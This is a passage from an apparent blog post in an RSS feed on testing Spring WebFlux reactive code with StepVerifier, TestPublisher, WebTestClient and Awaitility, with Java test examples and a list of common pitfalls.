StepVerifier.create(infiniteFlux)<br>        .expectNextCount(3)<br>        .thenCancel()<br>        .verify();<br>}</pre><p>Cancellation prevents your test from hanging and verifies proper subscription teardown.</p><h3>Error testing</h3><p>Always test error paths:</p><pre>@Test<br>void errorTest() {<br>    Flux&lt;Integer&gt; errorFlux = Flux.error(new IllegalStateException(&quot;boom&quot;));</pre><pre>    StepVerifier.create(errorFlux)<br>        .expectErrorMatches(e -&gt; e instanceof IllegalStateException &amp;&amp;<br>                                 e.getMessage().contains(&quot;boom&quot;))<br>        .verify();<br>}</pre><p>Reactive errors are often asynchronous; don’t ignore them.</p><h3>Context propagation</h3><p>If your code reads Reactor Context, test it:</p><pre>@Test<br>void contextPropagation() {<br>    Mono&lt;String&gt; m = Mono.deferContextual(ctx -&gt; Mono.just(ctx.get(&quot;user&quot;)));</pre><pre>    StepVerifier.create(m.contextWrite(Context.of(&quot;user&quot;, &quot;aabir&quot;)))<br>        .expectNext(&quot;aabir&quot;)<br>        .verifyComplete();<br>}</pre><p>This ensures your operators correctly access context at subscription time.</p><h3>TestPublisher — simulate upstream behavior</h3><p>Sometimes you want to <strong>control emissions</strong> from upstream:</p><pre>@Test<br>void testPublisherExample() {<br>    TestPublisher&lt;String&gt; tp = TestPublisher.create();<br>    Flux&lt;String&gt; pipeline = tp.flux().map(String::toUpperCase);</pre><pre>    StepVerifier.create(pipeline)<br>        .then(() -&gt; {<br>            tp.next(&quot;a&quot;, &quot;b&quot;);<br>            tp.complete();<br>        })<br>        .expectNext(&quot;A&quot;, &quot;B&quot;)<br>        .verifyComplete();<br>}</pre><p>Use TestPublisher to test:</p><ul><li>Error scenarios</li><li>Delayed or misbehaving upstream</li><li>Conditional emissions</li></ul><h3>WebTestClient for streaming endpoints</h3><p>When testing your controllers:</p><pre>@WebFluxTest(UserController.class)<br>class UserControllerStreamingTest {</pre><pre>    @Autowired<br>    WebTestClient client;</pre><pre>    @MockBean<br>    UserService service;</pre><pre>    @Test<br>    void streamUsersSSE() {<br>        when(service.streamUsers())<br>            .thenReturn(Flux.just(new User(&quot;Alice&quot;), new User(&quot;Bob&quot;)));</pre><pre>        Flux&lt;User&gt; body = client.get()<br>            .uri(&quot;/users/stream&quot;)<br>            .accept(MediaType.TEXT_EVENT_STREAM)<br>            .exchange()<br>            .returnResult(User.class)<br>            .getResponseBody();</pre><pre>        StepVerifier.create(body)<br>            .expectNextMatches(u -&gt; u.getName().equals(&quot;Alice&quot;))<br>            .expectNextMatches(u -&gt; u.getName().equals(&quot;Bob&quot;))<br>            .thenCancel()<br>            .verify();<br>    }<br>}</pre><p><strong>Tip</strong>: For infinite streams, always use returnResult().getResponseBody() + StepVerifier instead of expectBody() to prevent hanging tests.</p><h3>Awaitility — when reactive streams are not enough</h3><p>Reactive streams cover your pipeline, but sometimes the <strong>observable result is external</strong>: database writes, Kafka messages, cache updates.</p><p>Awaitility lets you wait for a condition to become true instead of blocking arbitrarily:</p><pre>@Test<br>void awaitSideEffect() {<br>    asyncPublisher.send(&quot;msg&quot;);</pre><pre>    Awaitility.await()<br>        .atMost(Duration.ofSeconds(5))<br>        .untilAsserted(() -&gt; {<br>            assertTrue(repository.findAll().collectList().block().size() &gt; 0);<br>        });<br>}</pre><ul><li>Polls until the assertion passes or timeout occurs</li><li>Perfect for <strong>side-effect-driven asynchronous flows</strong></li><li>Works with reactive sources by using .block() carefully <strong>only in tests</strong></li></ul><h3>Common pitfalls in reactive testing</h3><ol><li><strong>Not subscribing to streams</strong> → your pipeline doesn’t execute.</li><li><strong>Blocking too much</strong> → hides real timing issues.</li><li><strong>Ignoring infinite streams</strong> → always cancel explicitly.</li><li><strong>Time-based operators without virtual time</strong> → slow and brittle tests.</li><li><strong>Shared context leaks</strong> → reset mocks and separate classes when necessary.</li><li><strong>Non-deterministic side effects</strong> → use Awaitility or controlled TestPublisher.</li></ol><h3>Patterns and best practices</h3><ul><li><strong>StepVerifier</strong> → for deterministic reactive pipeline testing</li><li><strong>WebTestClient</strong> → for HTTP endpoints, including streaming</li><li><strong>Awaitility</strong> → for asynchronous side effects not directly observable</li><li><strong>Virtual time</strong> → for all delayed or interval-based streams</li><li><strong>TestPublisher</strong> → to simulate upstream behavior</li><li><strong>Timeouts</strong> → always add JUnit @Timeout for potentially long-running tests</li></ul><h3>Example matrix</h3><p><strong>Unit test reactive service</strong>:</p><pre>@ExtendWith(MockitoExtension.class)<br>class UserServiceUnitTest {</pre><pre>    @Mock UserRepo repo;<br>    @InjectMocks UserService service;</pre><pre>    @Test<br>    void getAllUsers_flux() {<br>        when(repo.findAll()).thenReturn(Flux.just(new User(&quot;1&quot;,&quot;A&quot;)));</pre><pre>        StepVerifier.create(service.getAllUsers())<br>            .expectNextCount(1)<br>            .verifyComplete();<br>    }<br>}</pre><p><strong>Controller slice test</strong>:</p><pre>@WebFluxTest(UserController.class)<br>class ControllerSliceTest {</pre><pre>    @Autowired WebTestClient client;<br>    @MockBean UserService service;</pre><pre>    @Test<br>    void streamUsers_sse() {<br>        when(service.streamUsers()).thenReturn(Flux.just(new User(&quot;1&quot;,&quot;A&quot;)));</pre><pre>        Flux&lt;User&gt; body = client.get().uri(&quot;/users/stream&quot;)<br>            .accept(MediaType.TEXT_EVENT_STREAM)<br>            .exchange()<br>            .returnResult(User.class)<br>            .getResponseBody();</pre><pre>        StepVerifier.create(body)<br>            .expectNextMatches(u -&gt; u.getName().equals(&quot;A&quot;))<br>            .thenCancel()<br>            .verify();<br>    }<br>}</pre><p><strong>Integration test with side effects</strong>:</p><pre>@SpringBootTest(webEnvironment = WebEnvironment.RANDOM_PORT)<br>class IntegrationTest {</pre><pre>    @Autowired WebTestClient client;</pre><pre>    @Test<br>    void asyncFlow() {<br>        client.post().uri(&quot;/trigger&quot;).exchange().expectStatus().isOk();</pre><pre>        Awaitility.await()<br>            .atMost(Duration.ofSeconds(5))<br>            .untilAsserted(() -&gt; {<br>                assertTrue(repository.findAll().collectList().block().size() &gt; 0);<br>            });<br>    }<br>}</pre><h3>Wrapping up Part 2</h3><p>Testing Spring WebFlux is all about <strong>controlling time, signals, and side effects</strong>.<br>Once you understand StepVerifier, WebTestClient, Awaitility, TestPublisher, and context management, you can write <strong>fast, reliable, and realistic tests</strong> for reactive applications.</p><p>Remember:</p><ul><li>Use <strong>StepVerifier</strong> for pipeline verification</li><li>Use <strong>Awaitility</strong> for external async side effects</li><li>Use <strong>TestPublisher</strong> for upstream control</li><li>Always mind <strong>backpressure, cancellation, and timing</strong></li><li>Keep <strong>context management in mind</strong> — slow tests often hide context misuse</li></ul><p>Reactive testing may feel tricky at first, but mastering it gives you <strong>confidence in your WebFlux pipelines</strong> — no surprises in production.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=18db02cc5360" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>